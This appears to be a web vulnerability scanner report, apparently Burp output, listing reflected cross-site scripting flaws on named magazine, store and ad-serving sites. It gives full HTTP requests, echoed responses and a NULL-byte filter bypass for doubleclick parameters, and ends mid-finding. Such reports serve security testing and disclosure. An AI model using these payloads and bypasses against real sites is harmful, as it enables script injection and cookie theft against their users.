http://www.rodalestore.com/webapp/wcs/stores/servlet/OrderItemDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/OrderItemDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/OrderItemDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [REST URL parameter 5]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [catalogId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [mag parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [mag parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ProductDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [REST URL parameter 5]
http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [catalogId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/StoreCatalogDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/a [REST URL parameter 5]
http://www.runnersworld.com/community/persona/index.jsp [UID parameter]
http://www.runnersworld.com/community/persona/index.jsp [name of an arbitrarily supplied request parameter]
http://www.runnersworld.com/community/persona/index.jsp [plckController parameter]
http://www.runnersworld.com/community/persona/index.jsp [plckElementId parameter]
http://www.runnersworld.com/community/persona/index.jsp [plckScript parameter]
http://www.runnersworld.com/community/persona/index.jsp [plckUserId parameter]
http://www.runnersworld.com/video/1,8052,s6-1-0-5,00.html [bclid parameter]
http://www.runnersworld.com/video/1,8052,s6-1-0-5,00.html [bclid parameter]
http://www.runnersworld.com/video/1,8052,s6-1-0-5,00.html [bcpid parameter]
http://www.runnersworld.com/video/1,8052,s6-22-0-6,00.html [bclid parameter]
http://www.runnersworld.com/video/1,8052,s6-22-0-6,00.html [bclid parameter]
http://www.runnersworld.com/video/1,8052,s6-22-0-6,00.html [bcpid parameter]
http://www.runnersworld.com/video/1,8052,s6-6-0-2,00.html [bclid parameter]
http://www.runnersworld.com/video/1,8052,s6-6-0-2,00.html [bclid parameter]
http://www.runnersworld.com/video/1,8052,s6-6-0-2,00.html [bcpid parameter]
http://www.womenshealthmag.com/ [67fb3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d360ec3665 parameter]
http://www.womenshealthmag.com/ [cm_sp parameter]
http://www.womenshealthmag.com/ [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/articles [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/beauty-and-style [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/beauty-and-style/aveda-lipgloss [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/beauty-and-style/beauty [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/beauty-and-style/style-and-fashion [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/blog/thebeautylab [REST URL parameter 2]
http://www.womenshealthmag.com/blog/thebeautylab [REST URL parameter 2]
http://www.womenshealthmag.com/blog/thebeautylab [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/blogs [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/features [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/fitness [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/fitness/ [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/fitness/swiss-ball-workout [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/fitness/tony-horton [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/health [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/health/ [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/health/frank-lipman-wellness [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/health/good-night-of-sleep [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/health/improve-your-vision-hearing-and-more [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/health/increase-your-libido [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/health/sidewalk-rage [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/health/sleep-more-soundly [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/health/sweating/ [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/health/yoga [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/help [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/help-about-womens-health [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/help-contact-us [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/help/sitemap [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/image/tid/2231]] [REST URL parameter 2]
http://www.womenshealthmag.com/image/tid/2297]] [REST URL parameter 2]
http://www.womenshealthmag.com/image/tid/2375]] [REST URL parameter 2]
http://www.womenshealthmag.com/image/tid/2493]] [REST URL parameter 2]
http://www.womenshealthmag.com/image/tid/2495]] [REST URL parameter 2]
http://www.womenshealthmag.com/image/tid/2515]] [REST URL parameter 2]
http://www.womenshealthmag.com/image/tid/2591]] [REST URL parameter 2]
http://www.womenshealthmag.com/image/tid/2592]] [REST URL parameter 2]
http://www.womenshealthmag.com/life/ [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/life/wh-reader-panel [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/life/womens-health-pdf-downloads [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/mediakit [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/newsletter [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/nutrition [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/nutrition/ [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/nutrition/healthy-recipes-1 [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/nutrition/meatless-soups [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/nutrition/no-meat-protein-recipes [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/quizzes [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/rss-feeds [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/search [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/sex-and-relationships [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/sound-off [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/videos [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/weight-loss [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/weight-loss/ [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/win-today [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/workouts [name of an arbitrarily supplied request parameter]
http://www.womenshealthmag.com/yoga [name of an arbitrarily supplied request parameter]
http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2 [Referer HTTP header]

2.1. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [adurl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %0055ee3'-alert(1)-'9f815ea7f25 was submitted in the adurl parameter. This input was echoed as 55ee3'-alert(1)-'9f815ea7f25 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BAENoyPd4TZ7sN9X0lAeTivDnB_GQ74ECga7P3B7AjbcBwJyyARABGAEgvs7lDTgAUMTE0OECYMnm9obIo6AZoAHXsf3cA7oBCTcyOHg5MF9hc8gBCdoBOmZpbGU6Ly8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE&num=1&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ug&client=ca-pub-4063878933780912&adurl=%0055ee3'-alert(1)-'9f815ea7f25 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1299795013&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2FSM_7.2.3925_File2_Burp_1.3.08.html&dt=1299773413750&shv=r20101117&jsv=r20110307&saldr=1&correlator=1299773413772&frm=0&adk=1607234649&ga_vid=2011621435.1299773414&ga_sid=1299773414&ga_hid=15489387&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1075&bih=949&fu=0&ifi=1&dtd=54&xpc=XwwY3tlWp2&p=file%3A//
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 37225
Cache-Control: no-cache
Pragma: no-cache
Date: Thu, 10 Mar 2011 16:45:41 GMT
Expires: Thu, 10 Mar 2011 16:45:41 GMT

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
...[SNIP]...
zovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE&num=1&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ug&client=ca-pub-4063878933780912&adurl=%0055ee3'-alert(1)-'9f815ea7f25http://">
...[SNIP]...

2.2. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [adurl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cd8f9"-alert(1)-"daf8fe6749e was submitted in the adurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BAENoyPd4TZ7sN9X0lAeTivDnB_GQ74ECga7P3B7AjbcBwJyyARABGAEgvs7lDTgAUMTE0OECYMnm9obIo6AZoAHXsf3cA7oBCTcyOHg5MF9hc8gBCdoBOmZpbGU6Ly8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE&num=1&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ug&client=ca-pub-4063878933780912&adurl=cd8f9"-alert(1)-"daf8fe6749e HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1299795013&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2FSM_7.2.3925_File2_Burp_1.3.08.html&dt=1299773413750&shv=r20101117&jsv=r20110307&saldr=1&correlator=1299773413772&frm=0&adk=1607234649&ga_vid=2011621435.1299773414&ga_sid=1299773414&ga_hid=15489387&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1075&bih=949&fu=0&ifi=1&dtd=54&xpc=XwwY3tlWp2&p=file%3A//
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 7019
Cache-Control: no-cache
Pragma: no-cache
Date: Thu, 10 Mar 2011 16:45:40 GMT
Expires: Thu, 10 Mar 2011 16:45:40 GMT

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE&num=1&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ug&client=ca-pub-4063878933780912&adurl=cd8f9"-alert(1)-"daf8fe6749ehttp://ad.doubleclick.net/2493053/redirect_nexuss_gdn.html");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWi
...[SNIP]...

2.3. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [ai parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9509f"-alert(1)-"6749c3c0d7d was submitted in the ai parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BAENoyPd4TZ7sN9X0lAeTivDnB_GQ74ECga7P3B7AjbcBwJyyARABGAEgvs7lDTgAUMTE0OECYMnm9obIo6AZoAHXsf3cA7oBCTcyOHg5MF9hc8gBCdoBOmZpbGU6Ly8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE9509f"-alert(1)-"6749c3c0d7d&num=1&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ug&client=ca-pub-4063878933780912&adurl=;ord=1648973795? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1299795013&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2FSM_7.2.3925_File2_Burp_1.3.08.html&dt=1299773413750&shv=r20101117&jsv=r20110307&saldr=1&correlator=1299773413772&frm=0&adk=1607234649&ga_vid=2011621435.1299773414&ga_sid=1299773414&ga_hid=15489387&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1075&bih=949&fu=0&ifi=1&dtd=54&xpc=XwwY3tlWp2&p=file%3A//
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Thu, 10 Mar 2011 16:44:23 GMT
Vary: Accept-Encoding
Expires: Thu, 10 Mar 2011 16:44:23 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7041

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
BwJyyARABGAEgvs7lDTgAUMTE0OECYMnm9obIo6AZoAHXsf3cA7oBCTcyOHg5MF9hc8gBCdoBOmZpbGU6Ly8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE9509f"-alert(1)-"6749c3c0d7d&num=1&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ug&client=ca-pub-4063878933780912&adurl=http%3a%2f%2fad.doubleclick.net/2493053/redirect_nexuss_gdn.html");
var fscUrl = url;
var fscUrlClickTagFound = fals
...[SNIP]...

2.4. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [client parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1e2c8"-alert(1)-"1f32606eed2 was submitted in the client parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BAENoyPd4TZ7sN9X0lAeTivDnB_GQ74ECga7P3B7AjbcBwJyyARABGAEgvs7lDTgAUMTE0OECYMnm9obIo6AZoAHXsf3cA7oBCTcyOHg5MF9hc8gBCdoBOmZpbGU6Ly8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE&num=1&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ug&client=ca-pub-40638789337809121e2c8"-alert(1)-"1f32606eed2&adurl=;ord=1648973795? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1299795013&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2FSM_7.2.3925_File2_Burp_1.3.08.html&dt=1299773413750&shv=r20101117&jsv=r20110307&saldr=1&correlator=1299773413772&frm=0&adk=1607234649&ga_vid=2011621435.1299773414&ga_sid=1299773414&ga_hid=15489387&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1075&bih=949&fu=0&ifi=1&dtd=54&xpc=XwwY3tlWp2&p=file%3A//
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Thu, 10 Mar 2011 16:45:26 GMT
Vary: Accept-Encoding
Expires: Thu, 10 Mar 2011 16:45:26 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 37216

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
...[SNIP]...
pbGU6Ly8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE&num=1&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ug&client=ca-pub-40638789337809121e2c8"-alert(1)-"1f32606eed2&adurl=";
this.clickN = "";
this.type = type;
this.uniqueId = plcrInfo_1296257752903.uniqueId;
this.thirdPartyImpUrl = "";

...[SNIP]...

2.5. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [num parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 29875"-alert(1)-"c5c47c97bbe was submitted in the num parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BAENoyPd4TZ7sN9X0lAeTivDnB_GQ74ECga7P3B7AjbcBwJyyARABGAEgvs7lDTgAUMTE0OECYMnm9obIo6AZoAHXsf3cA7oBCTcyOHg5MF9hc8gBCdoBOmZpbGU6Ly8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE&num=129875"-alert(1)-"c5c47c97bbe&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ug&client=ca-pub-4063878933780912&adurl=;ord=1648973795? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1299795013&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2FSM_7.2.3925_File2_Burp_1.3.08.html&dt=1299773413750&shv=r20101117&jsv=r20110307&saldr=1&correlator=1299773413772&frm=0&adk=1607234649&ga_vid=2011621435.1299773414&ga_sid=1299773414&ga_hid=15489387&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1075&bih=949&fu=0&ifi=1&dtd=54&xpc=XwwY3tlWp2&p=file%3A//
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Thu, 10 Mar 2011 16:44:44 GMT
Vary: Accept-Encoding
Expires: Thu, 10 Mar 2011 16:44:44 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7041

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
RABGAEgvs7lDTgAUMTE0OECYMnm9obIo6AZoAHXsf3cA7oBCTcyOHg5MF9hc8gBCdoBOmZpbGU6Ly8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE&num=129875"-alert(1)-"c5c47c97bbe&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ug&client=ca-pub-4063878933780912&adurl=http%3a%2f%2fad.doubleclick.net/2493053/redirect_nexuss_gdn.html");
var fscUrl = url;
var fscUrlClickTagFound = false;
va
...[SNIP]...

2.6. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [sig parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ebe5e"-alert(1)-"7b2a3fedccd was submitted in the sig parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BAENoyPd4TZ7sN9X0lAeTivDnB_GQ74ECga7P3B7AjbcBwJyyARABGAEgvs7lDTgAUMTE0OECYMnm9obIo6AZoAHXsf3cA7oBCTcyOHg5MF9hc8gBCdoBOmZpbGU6Ly8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE&num=1&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ugebe5e"-alert(1)-"7b2a3fedccd&client=ca-pub-4063878933780912&adurl=;ord=1648973795? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1299795013&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2FSM_7.2.3925_File2_Burp_1.3.08.html&dt=1299773413750&shv=r20101117&jsv=r20110307&saldr=1&correlator=1299773413772&frm=0&adk=1607234649&ga_vid=2011621435.1299773414&ga_sid=1299773414&ga_hid=15489387&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1075&bih=949&fu=0&ifi=1&dtd=54&xpc=XwwY3tlWp2&p=file%3A//
